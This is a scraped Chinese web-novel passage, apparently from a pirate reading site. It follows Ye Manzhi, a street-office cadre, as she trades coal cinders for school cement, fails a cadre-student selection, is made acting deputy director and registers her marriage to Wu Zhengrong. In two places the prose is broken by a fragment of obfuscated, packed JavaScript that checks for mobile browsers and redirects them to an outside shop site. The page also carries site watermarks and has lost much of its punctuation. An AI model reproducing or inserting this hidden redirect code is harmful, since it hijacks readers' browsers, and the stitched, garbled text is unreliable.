否则现在就不是停产整改,而是锣鼓鞭炮大红花了。 叶满枝来到胜利综合社的时候 老头子背着手,说话时没精打采的。 “王社长,咱们胜利社要停产到什么时候啊?” “说不准,最近市里要给我们转厂可能得等到转厂以后了。你想买水泥就去别处买吧我们现在不能出货。” 叶满枝放下茶杯感叹道:“那也太耽误事了!我听说咱们厂研究出了用煤炉渣生产水泥的办法现在刚开春正是大量收购煤炉渣的好时候。等到天气暖和以后大家用煤量减少你们想收煤渣也不容易啊!” “那有啥办法工商那些人就会熊我们!”王社长正为整改的事犯愁没工夫招待小年轻再次申明“叶同志你去别处买水泥吧我们卖不了。” 叶满枝笑着提议:“不卖也行咱们换点水泥怎么样?” 王社长停住动作问:“用什么换?” “用煤渣呗。” 王社长嚯了一声说:“我们那水泥56一吨!煤渣到处都有根本就不要钱煤渣怎么可能换得到水泥?” “咱们社的水泥不是零售48出厂价42吗?”叶满枝不客气道“你们用煤炉渣生产水泥的事已经不是秘密了等消息传开后谁还会让你们免费拉煤渣?我用五百吨煤渣跟您换20吨水泥这不过分吧?” “多少煤渣?”王社长提高声音。 “五百吨。” “叶同志你看我们这合作社里能放得下五百吨煤渣么?我要那么多煤渣有啥用啊?” “我又不是一次性给您送五百吨您需要多少我们就送多少 “20吨水泥的出厂价有840块呢折算下来每吨煤渣将近一块七了不行这成本太高了。” 叶满枝笑了“我也是当过厂长的出厂价和成本价可不是一回事这一吨煤渣折算下来顶多一块二。王社长当初我们街道煤炉厂是第一个生产蜂窝煤炉子的您看这才几个月呀市里组织生产蜂窝煤炉子的单位就有七八家了。” “用煤渣生产水泥其实也不是特别难的事情我虽然不懂这些但有人懂听说煤渣和粘土的化学成分有些相似有心人多实验几次也能找到配方。要不然您也不至于掖着藏着不肯替余师傅宣传了。对吧?” 王社长:“……” 他现在最后悔的就是一时鬼迷心窍低价处理水泥被人逮住了。 否则这配方还能捂一阵子。 叶满枝问:“等到市里其他水泥厂也开始使用煤渣生产水泥您说这煤渣的收购价会不会提高?而且如今不少工厂都在搞基建需要大量的水泥。有的工厂有技术有资金还有好几座煤渣山要是厂领导动了心思也想搞个水泥厂那咱们胜利社不就更难了嘛……” 王社长知道她说的这个“有的工厂”八成就是656厂。 他皱着眉头琢磨片刻讨价还价道:“五百吨煤渣不行至少要两千吨!” 胜利社年产八千吨水泥五百吨煤渣只够他们用半年的。 他至少要存下两年的原料才行。 正如这个小叶干部所说,煤炉渣变废为宝,兴许明年就要涨价了。 叶满枝笑道,“王社长,煤渣对我们没啥用,我也不心疼那点煤渣。这样吧,五百吨由656厂负责运输。我们另外再送胜利社一千五百吨,但是需要由你们自己运输。只要院儿里攒了煤渣我们就给您留着,不给其他单位了。 军工大院里的煤渣一直不好处理,把煤渣给他们生产水泥,算是双方都能获益的好事。 就是不知居民们烧煤的速度,是否能赶得上胜利社生产的速度。 她怀疑院儿里那些煤渣可能不够用。 * 街道办、胜利社和656厂三方签了合同后,叶满枝回单位喊上赵二贺,一起去大院儿里清理煤渣了。 “暂时只要50吨!叶满枝拿着大喇叭喊道,“哪个居民小组能派人装车,咱们就先拉走哪个楼栋门前的煤渣! “小叶干部,你这速度真够快的!咱什么时候开始收煤渣啊? “后勤的卡车来了就开始! 叶满枝笑着跟居民们寒暄,再转身时,发现后勤派来的大卡车已经驶入大院儿了。 四哥推开副驾驶的门,从卡车里跳了下来。 “哥,你学车学得怎么样了? 四哥却根本没搭理她的关心,跑到花坛边,哇哇哇狂吐了一阵。 叶满枝:“…… 这什么情况啊? 司机刘师傅从驾驶室探出头来说:“嗐,你别管他了,被柴油味熏的,吐一吐就好了。 “我哥学车的日子不短了吧?怎么还在吐呢? 四哥把胃里吐空了,往旁边的空地上一坐,委屈道:“我就说我不能学开车,一上车就吐,咱三哥非说我骗他,还说我是小姐的身子丫鬟命!来芽,这回你看到了吧!你可得给我作证! 闻言,叶满枝不由乐出声,手绢掏到一半又塞回去,用四哥自己的破手套给他擦了擦嘴。 “你要是不学车,三哥的钱岂不是白花了? 叶满桂也挺想握着方向盘到处兜风,可他自身条件不允许啊! 闻到柴油的味道,胃里就翻江倒海。 他都学了快俩月了,还没 适应那股味儿呢! 叶满枝把大喇叭给了赵二贺,蹲到四哥身边说:“要不让咱妈或四嫂替你学吧?” “……”四哥瞪她,“你开什么玩笑?” “我没开玩笑啊!咱家目前只有咱妈、四嫂和麦多闲着,三哥送你去学车的钱总不能白花吧?咱妈年纪大了点,学出来也找不到工作,不如让四嫂去试试。” 四哥寻思了一阵,让媳妇来学车也不是不行,肥水好歹没流到外人田里。 不过,沈亮妹最近从煤炉厂赚了钱,气焰极其嚣张,非要让他向三哥学习,给媳妇倒洗脚水。 他叶满桂咋可能干这种事! 思及此,他一骨碌从地上爬起来,“我还是再坚持一下吧。” 叶满枝不知他心里的想法,没想到四哥身残志坚,都吐成这样了,竟然还不肯放弃。 “那你就跟着刘师傅好好学吧,第一批煤渣拉过去以后,你们顺便帮我把那20吨水泥也拉回来,就送到小学工地上。四哥,去小学的路,你挺熟的哈?” 四哥:“……” 可不是挺熟的嘛,往那边拉了好几天沙子呢! …… 叶满枝没花一分钱,就把建校要用的水泥弄回来了。 节省了将近一千块的经费。 这让穆主任简直乐开了花。 “太好了,上次的义演活动只募集到四百块钱,买了砖头就买不了水泥,”穆兰抚掌笑道,“小叶,你不声不响就办了件大事啊!这20吨水泥算是解了咱们反帝小学的燃眉之急!” 最近国际上不太消停,光明街的第一所小学,已经被命名为“反帝小学”了。 叶满枝谦虚道:“这事算是凑巧了,若不是您推荐我去区里当改革办的联络员,我哪有机会知道胜利社能用煤渣生产水泥呀!” 反帝小学的建校资金,几乎困扰了穆兰一整个冬天。 市里给了建校指标,她是打算用这座“公办民助”小学做出一些成绩的。 然而,街道办的规模只有这么大,资金来源极其有限,她从基层干部和街道积极分子那里募集了两百块的资金,前段时间又组织义演,募捐了四百块,再加上街道办能抽调的资金,总共也不过八九百。 鹅小说更新,记住域名qiexs?(请来企 鹅小说 看最新章节 完整章节) 按照她的预算,哪怕只建 一所中等规模的小学,也至少需要一千八百块。 叶满枝这姑娘去了区里工作,还能想着建小学的事情,不哼不哈就把水泥的问题解决了。 穆兰此时的心情,其他人根本就体会不了。 她越看叶满枝越喜欢,忍不住说:“小叶,我给你介绍个对象吧? 叶满枝:“…… 不是说小学的事嘛,咋就扯到介绍对象的话题上了? 再说她已经有吴峥嵘了呀! 穆兰看着她笑道:“这人你应该也见过,就是咱们街道工商所的梁彦。小伙子是大学生,今年春季班毕业刚分配到工商所的,父母都是干部,个人和家庭条件都挺好。 她跟梁彦的姑姑关系不错,过完年以后,梁姑姑就来跟她打听过小叶的情况。 这种由长辈出面打听的,通常都是孩子自己相中了,让家长来探探口风。 穆兰虽是街道主任,却从来不给人做媒,万一保错了媒容易惹麻烦。 她当时只跟梁彦姑姑说了叶满枝的大致情况,正好当时叶满枝在区里当联络员,不常回街道办,她便把这件事岔了过去。 不过,梁彦那小伙子条件挺好,小叶也是个上进的女同志,穆兰这会儿心情好,倒是挺愿意帮两人牵牵线的。 叶满枝赶忙摆手说:“主任,我有对象啦! 那个梁彦她有印象,过年前在反帝大集上见过,市长伪装成普通老头跟他问话,他当时特别实诚,有一句答一句。 没想到人家还是大学生呢! 穆兰惊讶道:“你什么时候有的对象?我记得你是单身女同志啊! “早就有了。 叶满枝心想,等她跟吴峥嵘来单位领证的时候,穆主任早晚得知道,于是一咬牙说:“这人您也认识的,就是656厂的吴峥嵘。 穆兰:“…… 她反应了好一阵,才想起来吴峥嵘是656厂的军代表。 她咋记得吴峥嵘跟小叶的父亲是平辈人啊? 这俩人怎么谈起对象来了? 叶满枝没漏掉主任脸上的错愕,她就知道会是这个效果。 别人那里还好,在主任面前,她其实是有点尴尬的。 当初她按照老叶的叮嘱,只说吴峥 嵘跟老叶是朋友,才会给她写推荐信。 人家穆主任可相信了。 所以,尽管厂里有不少人知道她跟吴峥嵘的关系,但她在单位并没特意提过。 只等着穆主任自己发现以后,默默接受。 谁知穆主任竟然一直被蒙在鼓里! 光明街上这么大,穆兰又不常去军工大院,这事还真没人跟她提过。 “哎呀,你俩居然凑到一起了!哈哈哈,挺好挺好!吴团长也是单身青年啊,我一直以为他已婚了!哈哈哈,吴团长为人处世比较成熟,其实也是年轻人呢! 穆兰回过神以后,又说了许多个“好。 甭管两人之前是什么关系,人家现在是对象了。 小叶是街道办的干部,能找个这样的对象,以后两个单位就是亲家了,对街道开展工作也是有好处的。 穆兰不再提给梁彦做媒的事,问了问两个小年轻的婚期,就将事情揭过去了。 * 资金、水泥、红砖全部就位以后,穆兰很快着手组织修建反帝小学的校舍。 除了街道建筑队的工人,许多小学生的家长也主动来工地上义务劳动了。 中等规模的校舍,只用一个月左右的时间,就有了大致雏形。 在此期间,街道办内部发生了两件大事。 一是负责福利工作的魏珍,凭借出色的工作成绩被区福利局调走了。区里今年要主抓孤寡老人和独身离退休干部的养老工作,魏珍在这方面经验丰富,算是凭本事高升了。 二是叶满枝和庄婷作为候选人,被街道办推荐去区里参加调干生的选拔。 如果被区里选中,她俩将有机会去“滨江政治学院或“省工学院 叶满枝几乎把自己的所有高光时刻都写到申请表里了,只等待好消息的到来。 然而,反帝小学正式竣工那天,区里公布了今年免试入学的调干生名单。 一共28人,名单里并没有她跟庄婷! 庄婷跟她一样,对这次选拔也是满含期待的。 两人一起去区委大院看了张贴出来的录取名单。 每个人的名字后面,有任职单位和工龄。 工龄最长的11年,最短的3年。 三年以下的一个也没有。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498271|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >庄婷蹙眉说:“我听说去年有工龄不到一年就被选上的今年怎么回事?” 叶满枝无精打采地叹了口气“好多单位内部选拔的时候就要求工龄满三年了。” 区文化局、财政局、工业局都要求工龄三年以上。 林青梅连单位内部的名单都没能挤进去但黎婷婷有五年工龄而且这次又参加了合作社转厂的改革工作不但被单位推荐还顺利进入了最终的调干生名单。 期待许久的读大学机会泡汤让叶满枝整个人都蔫巴了。 小学校舍终于落成的喜悦也被冲淡了。 吴峥嵘听到选拔结果的时候已经做好了她要哭鼻子的心理准备但小叶干部这次虽然丧气却并没掉眼泪。 “我这次不是败在工作成绩上而是败在工龄上。人家三年五年甚至十一年做的工作当然要比我不到一年的时间出成绩。” 在这方面叶满枝没什么可抱怨的。 只能怨自己时运不济吧她要是早工作一年兴许去年就能被选中了! 在她感叹时运不济的时候吴峥嵘也有同样的想法。 他的结婚报告已经被上级批复了双方家长也在观看叶满枝的曲艺演出时碰过面了。 长辈们几经协商后挑了两个吉日。 一个是5月28号另一个是8月1号。 他打算跟小叶同志商量一下选择5月28号去登记结婚。 可是叶满枝的调干生选拔突然落选整个人都没什么精神现在真不是开口的好时机。 饶是吴峥嵘心态平和也忍不住在心里叹了口气。 他把没什么精神的叶来芽抱坐进怀里安慰道:“今年不行还有明年。调干生名额每年都有其实你今年没选上也算是好事。等你多积累点工龄就可以带工资上学了要是今年真的被选中了以你不到一年的工龄 “明年的工龄也不够啊!政策一年一个样要是以后不保送调干生了呢?”叶满枝埋怨道“都怪我爸嘴快把我要上大学的消息告诉了你爷爷!我现在没选上丢人要丢到你们家去了!” 吴爷爷本来就关注小辈的学业问题听说她有 机会上大学以后,虽然没显出特别高兴的表情,但是让吴小姑帮她找了好多省工学院的资料! 这会儿落选,她都不知道以后要如何面对吴爷爷了! 吴峥嵘对她的落选有一定心理准备,也帮她打听了这方面的信息,以备不时之需。 “调干生不止有组织推荐这一条路,你要是还有心上大学,其实可以参加明年的高考。” 叶满枝:“……” 她要是能考上,就不会这么丧气了。 “调干生参加高考,跟普通学生的考试内容不一样,文科只考语文、地理、历史、政治,免考数学和外语,”吴峥嵘鼓励道,“只有这四门考试的话,你努努力未必考不上。” 叶满枝问:“真的不考数学和外语?” “嗯,我特意向金萍打听的,她不是市教育局的么。”吴峥嵘在她屁股上拍了拍,“你可以做两手准备,一边复习明年的高考,一边等待明年的推荐名额,无论通过哪条路上大学,你到时候都有两年工龄,可以带薪上学了。” 叶满枝红着脸把他的手从自己屁股上挪开,瞪他一眼说:“我考虑考虑!” * 为了丰富自己的工作履历,叶满枝在改革办和建小学这两项工作上,是花了大工夫,下了死力气的。 她一直自我感觉良好地觉得肯定能被选上。 早就幻想了无数次,自己摇身一变成为大学生的戏码了。 全校才考上两个大学生,而她叶满枝,虽然只是个街道小干部,却也凭借自己的努力读上大学了! 光是想想那个画面,她就激动得睡不着觉! 所以,落榜后,她的心理落差有多大,就可想而知了。 落榜的打击让她整个人都恹恹的,没什么精气神,跟吴峥嵘结婚的事也被她忘到了爪哇国。 这样的日子没过几天,她就听说庄婷也要调走了。 “庄姐,你真要走啊?” “嗯,本来还想等等调干生的名额呢,这回调干生没戏,那就换个单位干吧!” 她已经找门路联系了纺织厂妇联的工作。 纺织厂是国营大厂,虽然规模不及656厂,但比上不足比下有余,比街道办的平台大多了。 她当初是走了张勤简的路 子进街道办的,但街道办的话语权其实一直掌握在穆主任手里。 张勤简在大事上说不上话。 小说的域名qiexs◇(请来企鹅 小说 看最新章节 完整章节) 好几个好机会,她都没争过叶满枝和刘金宝。 她觉得有这两个人在街道办,她的发展机会不大,还不如趁早换个大单位,寻求其他机会。 魏珍高升了,庄婷也要走了。 八个人的办公室,一下子空出了两个位置。 街道办内部的人心难免浮动。 叶满枝自认平时与同事相处融洽,熟悉的同事相继离开,她总是有些伤感的。 然而,这还不算完。 区人委有一个副区长调岗了,空出一个副区长的位置。 区委班子里的女同志占比太低,这次会从女干部中提拔一人,担任副区长。 而光明街最近几个月的工作成绩非常亮眼,养老福利、家庭手工业、成人教育、防治敌特间谍、“公办民助”的反帝小学,还有去年街道居民平均收入的大幅提高,让穆兰进入了上级领导的视野。 光明街道办事处的穆兰穆主任,突然就要高升去区里当副区长了! 街道办一众小干部简直惊呆了! 叶满枝那心里真是拔凉拔凉的。 她工作快一年了,也确实做出了一些成绩,但是她不得不承认,其中有很大一部分原因是她遇上了一个好领导。 穆主任是懂规则又肯给年轻人机会的领导。 如果由张勤简接替她当主任,叶满枝觉得自己的日子恐怕不会太好过。 “主任,您真的要当区长啦?”叶满枝眼里的不舍简直太真实了。 “差不多吧,小叶,你是个有冲劲又有想法的年轻干部,以后在咱们街道办继续努力,好好干!” 叶满枝心说,那得看上面的领导是否肯给她发挥的机会了。 然而,她上午刚与穆主任谈了心,下午就接到了区委组织部的电话。 组织部副部长通知她,明天去区里进行组织谈话。 作者有话要说 一百个红包,明天见~ 看这本书的人都是很幸运的,分享后你的运气会更棒的 第 68 章 小叶主任领证了~ 第68章小叶主任领证了~ 整个光明街道办,只有穆兰和张勤简是区管干部,有资格被区委组织部谈话,其他人都是由街道自行招聘的补充干部。 尽管叶满枝常以小干部自居,但她其实连组织部的大门朝哪开都不知道。 从来没去过! 接到组织部的电话以后,叶满枝的第一反应是,她要升官儿啦! 否则组织部怎么会找她谈话呢?不升官她没这个资格呀! 不过,冷静下来以后,想到单位里频繁的人事变动,她又觉得组织部也许是想通过她,了解其他同志的情况,比如张勤简。 在调干生的事情上已经失望过一次了,叶满枝这次没敢声张,抓心挠肝地等了一晚上,翌日大清早就按照要求去了区委组织部。 林副部长是位中年女同志,简单的开场白以后,就单刀直入地询问她对街道工作的看法,还让她介绍一下自己的工作和学习情况。。 听了对方的提问,叶满枝心里倏地安稳了。 看来这次的考察对象是她本人。 她是第一次应对组织谈话,但道理都是相通的,若想被提拔,她得展示自己的能力和成绩呀! 于是,她先把最有看头的成绩摆了出来。 街道的家庭手工业工作是她独自负责的。光明街去年第四季度的家庭手工业收入在全市所有街道中排名第二。因着今年有了反帝大集这个销售渠道,光明街的家庭手工业收入又有大幅增长,第一季度的收入位列全市第一! 另外,刚刚建成的“反帝小学”是全市第一所“公办民助”小学,在市财政吃紧、学龄儿童入学极其困难的严峻条件下,他们没用一分财政拨款,靠着自筹资金的方式,将学校成功建了起来,她在其中也是扮演了重要角色的。 叶满枝没说建校指标是她找来的,水泥也是她换来的,她觉得这样说话太直白了。 如果听到其他人这样说话,她会觉得对方在抢功劳。 除了以上两项比较亮眼的成绩,光明街的成人扫盲工作也卓有成效。 尽管脱盲人数不是全区最多的街道,但是从扫盲班结业后,选择继续深造,攻读成人高小班的人数,却是最多的。 她挑着重点,将主要工作都大致介绍了一遍。 至于学习情况,副部长问的肯定不是文化课成绩,而是思想政治方面是否进步。 叶满枝已经递交入党申请书了,而且党校的基层干部进修班也结业了,她的考试成绩位列全班第五。 虽然没能挤进前三名,但她多年轻啊,叶满枝自我感觉这个成绩已经很值得吹一吹了! 所以,尽管她只是个第五名,可是那语气听在林副部长耳中,好像她考了第一似的。 之前穆兰曾说过,这个小叶同志积极自信,工作热情极高。她当时还不以为意,此时倒是有些体会了,叶满枝确实有旺盛的革命精神。 林副部长不动声色地打量这位年轻同志,笑着问:“除了在基层干部进修班上课,你还进行过哪些方面的学习?最近读过什么读本?” “最近有两位同志调离了,单位里工作比较多,我只大致翻看了《怎样做一个共产党员》,还没时间精读。不过,我提交了入党申请书以后,读过党纲党章和政治常识读本,还看了一遍《钢铁是怎样炼成的》。” 叶满枝其实挺想说几个她在吴峥嵘书架上看到的高级书名,可她没读过那些书,万一领导让她谈谈读书心得,她一问三不知,岂不尴尬!所以她还是老老实实的,读过什么就说什么。 “嗯,年轻干部读这些书是可以的,以后还能看看《社会主义与共产主义》《论共产党员的修养》,逐步深入学习。”林副部长提了几个书名,而后依照程序问,“你觉得自己还有哪些不足吗?” 叶满枝一时半刻还真找不出像样的缺点。 她在某些方面并不十分“优秀”,但也能达到“良好”的水平,“良好”算不上缺点吧? 要是非让她说出一点不足,那就是她太年轻,工作时间太短了,选拔调干生的时候,工龄就是她的短板。 然而,她不会主动提这一点,万一领导也觉得她太年轻,不提拔她了咋办? 所以,叶满枝斟酌了半天,只说展开自我批评的力度还不够,而且她基层工作经验丰富,善于与群众打交道,但缺乏机关工作经验,来区委改革办工作时,由于不了解机关情况,闹过很多笑话,误把公车当成小轿车之类的。 她本来就是基层干部, 缺乏机关工作经验是正常的她觉得这点不足无伤大雅。 * 谈话进行了半个多钟头叶满枝从区委办公楼离开时手心里全是汗。 通过林副部长透露的信息来看之所以会有今天这场考察是因为穆主任向组织部门推荐了她。 她突然就理解了穆主任给她介绍对象时的心情感激和喜悦之情实在是溢于言表呀! 叶满枝回到单位以后又找穆主任单独谈了一次话。 “主任是您跟组织部推荐的我吧?” “嗯不论最终结果如何你都放平心态继续为光明街的居民们服务。” 穆兰与组织谈话时推荐了张勤简接替她当主任也推荐了叶满枝当副主任。 叶满枝年轻既是缺点也是优点年轻人头脑灵活还有冲劲儿这是不争的事实。 穆兰能走进上级领导的视野一部分原因也是得益于年轻人的奇思妙想。 小学的建校指标和去年的二等模范都是叶满枝弄来的 而且她以后还要在正阳区工作光明街是她一拳一脚打拼下来的既是她的成绩也是她的大本营。 穆兰需要让光明街的辉煌成绩延续下去而张勤简比较沉稳老成守成有余、进取不足。 现在全市都在大搞社会主义建设别的街道都在进步如果光明街原地踏步就相当于退步用不了多久就会被其他街道赶超过去。 因此穆兰想给他选一个有进取心的搭档。 外单位调来的人未必会听她招呼而叶满枝是她一手培养起来的年轻干部放到副主任的位置上正合适。 叶满枝迟疑地问:“主任我太年轻了工作年限也不多组织上恐怕不会同意吧?” “能被组织谈话已经说明了组织上对你近期工作成绩的认可。你不要思虑太多先认真工作吧。” 穆兰没把话说得太满。 她能向组织部门推荐叶满枝当然也考虑过她年龄上的短板。 如果是在其他时候刚参加工作的年轻人未必有机会被提拔。 但今年市里刚提出要组建一支由主席思想武装起来的、有旺盛革命精神的、密切联系群众的 干部队伍。既要有久经革命锻炼的领导骨干,也要有优秀的年轻人。 而且着重要求某些老同志克服论资排辈,右的保守思想,广泛培养无产阶级接班人,层层育苗。 现在培养革命接班人是各级党组织的政治任务,每个层级都有规划。 叶满枝是工农出身,又是做出过成绩的年轻干部,很可能会被区里选来“育苗。 而当事人小叶干部完全没想到,自己可能进入“苗苗班。 穆主任让她放平心态,她就真的放平心态,不再琢磨升官的事了。 关键是,这种事情不是她能左右的。虽然有穆主任的推荐,但张勤简也是她的顶头上司,组织部门肯定也要征求他的意见。 叶满枝觉得张勤简未必乐意跟她这种年轻人搭班子。 于是,叶满枝把这件事放下,开始忙活自己的婚事了。 因着她工作上的变动,吴峥嵘一直没提结婚的话题,长辈们选出的两个日子,还是她从常月娥那里听来的。 她跑去跟吴峥嵘商量了一下,两人都想选5月28号领证。 吴峥嵘选这个日子的理由就不用说了,新打的木床已经晾了一个多月,只等着迎接女主人的到来。 叶满枝选择这个日子,主要是不想选八月一号。八月以后各单位都很忙,尤其是军代室每年都要搞什么国庆献礼,吴峥嵘很可能在新婚期频繁出差,让她独守空闺。 两人各有各的理由,但殊途同归,共同选择了5月28号登记结婚。 两家长辈商量聘礼的时候,叶满枝和吴峥嵘都不在。 但常月娥回来后给了她六百块钱,让她存到银行去。 “吴家老太太说,峥嵘他哥姐结婚的时候,父母准备的聘礼和嫁妆都是三百块。吴家的孩子都是按照这个标准置办的,其他长辈私下贴补的不算。 常月娥小声说:“他哥姐那边不知道贴补了多少,但吴家亲戚都在滨江老家这边,哪怕有人贴补也有限。 “那你怎么拿回来六百啊?另三百是他爷爷奶奶给的? 常月娥点点头,“咱家给你准备的压箱钱,之前已经用来给你买房子了,家里就不另外给你出钱了。你结婚的时候带着一套市中心的院子,比多少嫁妆都 体面!吴家给的这六百块钱咱家一分不留,你自己存起来,以后过日子用。” 六百块的聘礼放在城里算是相当高的,一般人家有个二三百就很拿得出手了。 老叶家三个女儿的聘礼钱都是让闺女自己带走的,婆家给多少,闺女就带走多少。 “你俩抓紧时间去拍结婚相片,我这两天去峥嵘那房子里看看,缺什么东西得赶紧给你们补上。” 想起吴峥嵘屋里那张新床,叶满枝脸颊都要烧起来了。 但她妈要是去看了房子,肯定也会看到那张床。 她支支吾吾道:“吴峥嵘打了一张新床,咱家准备的褥子尺寸可能不太合适。” “我是按照一米五的宽度给你做的褥子,宽了还是窄了啊?” 棉被和床褥子都是女方嫁妆里的,娘家要提前买棉花做棉被,薄的厚的都要准备好几床。 老大老二出嫁的时候,常月娥都做了六床棉被。 但现在棉花和棉布要凭票购买,她之前攒的棉布不太够,只打算给小闺女做四床被子加两床褥子。 叶满枝将钞票从信封里抽出来,一边假装忙碌地点钱,一边说:“你准备的褥子有点窄了。” 常月娥问:“一米五还不够啊?他那新床是多宽的啊,其实差个十来公分也不打紧,床单一铺,看不出什么。” “好像得差半米多呢……” “哦,”常月娥顿了顿,木着脸说,“那差得是有点多了。” 差了半米多,那就是两米多的床。 除了农村土炕,她还从没在哪个城市人家见过两米多的床。 她这个姑爷可真是给她长见识了! …… 因为吴峥嵘打的那张新床,叶满枝感觉自己在亲妈面前又矮了三分。 两人去照相馆拍结婚相片的时候,她把军代表同志批评了一顿。 “你弄那么宽的一张床,我妈给我准备的床褥子都不合适了!” “我那张床早就打好了,你不是看到了么,阿姨做褥子之前,你没跟她说尺寸么?” “我忘了。大家约定俗成,做褥子就是一米三和一米五嘛,我妈还是往大了做的呢。” “嗯,这事怪我。阿姨那边的棉花和棉布不够用吧?回头我帮 她弄些棉花回来跟阿姨说尽量把褥子做厚点咱家有棉花。”吴峥嵘对着穿衣镜整了整军装的领章然后坐到了照相机前的椅子上轻声提醒“别噘嘴了小心给你拍一张噘嘴的结婚相片。” “谁噘嘴了!”叶满枝也整理了自己的衬衫领子坐到他身边同样轻声提醒“你一会儿一定记得笑一笑!照片要贴到结婚证上一辈子呢你笑起来比较好看。” 照相师傅站在前方帮两人指导坐姿。 “一会儿别眨眼啊!女同志的笑收一收拍相片严肃点。” 可惜女同志根本不听话结婚是喜事严肃什么呀她就是要笑! 师傅提醒她的时候叶满枝收了笑然而随着闪光灯亮起咔嚓一声快门声过后胶片上的女同志笑得比谁都灿烂。 从椅子上站起时叶满枝不放心地问:“你刚才笑了吗?没笑的话咱们重新拍一次。” “笑了不敢不笑”吴峥嵘用只有两人能听到的音量说“我要是不笑岂不是要被你念叨一辈子。” “哼我要把这张相片放大挂在房间的墙上。喜气洋洋心情好兴许能给咱们招来好运!” 这番话也不过是叶满枝的随口一说。 然而5月28号就在她准备与吴峥嵘在街道办登记结婚的上午她突然接到了区里下达的最新任命。 原街道主任穆兰同志调任正阳区人民委员会担任副区长。 张勤简同志接任其主任位置主持光明街道办事处的全面工作。 叶满枝同志暂代光明街道办副主任一职协助主任完成工作。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546342|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叶满枝盯着通知上的那几行字看了好几遍整个人都被惊喜笼罩了 “主任暂代副主任是什么意思啊?之后还有其他人来当副主任吗?” “应该没有了。” 穆兰把她喊出去小声说:“你参加工作的时间比较短组织上还要对你进行考察如果年底干部考核没问题副主任前面这个‘代’字就能去掉了。” 叶满枝问:“就相当于我刚来上班时的试用期对吧?” “可以这么理解。” “那代副主任到底是不是副主任啊?” “当然是啊 ,你在工作的时候不要总想那个代字,就把自己当成副主任来抓工作!穆兰在她手上拍了拍说,“虽然光明街最近一年发展得还可以,但咱们基础条件差,百废待兴,还有好多工作没有完成。小叶,当了这个副主任以后,你可得好好干!协助张主任把光明街的工作抓起来! 叶满枝欢喜得连连点头:“我一定认真配合张主任完成工作,绝不辜负您和组织对我的信任! 吴峥嵘走进街道办的时候,办公室里正闹闹哄哄的。 赵二贺在跟穆主任表达不舍,刘金宝酸不溜丢地让刚升官的叶主任请客吃饭。 “什么事这么高兴? 穆兰笑道:“吴团长,你们选的这个结婚日子真不错,今天双喜临门,小叶已经被任命为我们街道办的副主任了! 吴峥嵘也觉得这个日子好,惊喜地望向抿嘴偷乐的小叶主任,“是嘛!那我们确实得请客! 他打开手里的喜糖袋子,给办公室里每人的桌上都放了一大把喜糖。 叶满枝之前还腹诽他不会过日子,一般人登记结婚的时候买点9毛7一斤的水果糖,或9毛5一斤的杂瓣糖就很不错了,结果她家军代表同志花钱大手大脚,买了一袋子1块6一斤的中级奶糖。 可是,今天双喜临门,结婚登记加上她升职,这一块六的奶糖可就太合适了! 叶满枝早就利用职务之便,将两人的申请表填好了,这会儿将所有材料递给凤姨,让她帮忙往结婚证上写字盖章就行。 凤姨难得开了句玩笑,“叶主任不用自己给自己写个结婚证么?那多有意义! “哈哈,我上班第一天就想好了,以后结婚的时候,要让凤姨给我写结婚证!如今总算盼来了这一天,凤姨你可得拿出最高水平,替我好好写一张! 凤姨点点头,很认真地将一张全新的结婚证填写好。 轮到用印的时候,她扭头问:“穆主任,明天就是穆区长了,帮小叶在结婚证上盖最后一个光明街道办的公章吧? “行,老凤写字,我盖章,以后这公章只能老张和小叶来用了。穆主任盖下公章,笑着祝福道,“叶满枝同志和吴峥嵘同志,祝你们新婚快乐,百年好合,永结同心,共同为共产主义事业奋斗,在进取的道路上成为彼 此最亲密可靠的战友!” 吴峥嵘接过新鲜出炉的结婚证习惯性地确认内容无误后笑着跟穆主任和凤姨道谢。 而旁边的叶满枝已经哭成了泪人。 吴峥嵘将手绢塞给她对穆兰解释说:“她这是舍不得您呢之前就跟我念叨过好几次不想让穆主任离开。小叶就是这样的脾气真性情。” 刘金宝:“……” 叶满枝已经很会说了没想到她找的这个男人也挺会瞎扯的。 什么真性情啊多半是因为升职当了副主任激动的! 哎大家都是年轻人他的工作也做得不错呀组织上怎么就没考虑让他当副主任呢? 刘金宝羡慕嫉妒地挠挠头真是想不通! * 叶满枝拿着全新的结婚证跟吴峥嵘回家时眼眶还是红的。 她其实早就想好了领证结婚的时候要高高兴兴的可是她先是被升职的惊喜击中脑子还没缓过来的时候又被穆主任和凤姨的煽情感动到。 想到穆主任明天就要去区里工作了她这眼泪就控制不住。 “别哭了咱妈还在家等着呢。” 叶满枝的眼泪被他这声“咱妈”吓了回去今天发生的事情太多她尚未来得及适应自己的已婚身份人家吴峥嵘已经直接改口喊妈了。 而常月娥也答应得十分自然欢天喜地地给了新姑爷一个改口大红包。 俩孩子连结婚证都领了不喊妈难道还喊阿姨啊! 她就喜欢峥嵘这样干脆爽快地年轻人! 虽然还没办酒席但两人已经是合法夫妻了常月娥让他们回屋歇会儿她去准备午饭。 而叶满枝这个当事人还没适应身份的转变靠在吴峥嵘身上缓了一会儿问:“咱们接下来要干什么啊?” “你想干什么?” “我跟你说正事呢!” “接下来就是把你的东西搬去我那里选日子办喜酒……”吴峥嵘没再继续往下说转而问“你在区里的工作什么时候能结束?” “快了估计再有半个月就差不多了。怎么了?” “现役军人和军属有探亲假 假咱们办完喜酒以后可以找个时间去我父母那边转转。他们的驻地在海边你不是从来没去过南方么这次可以趁机去看看。” 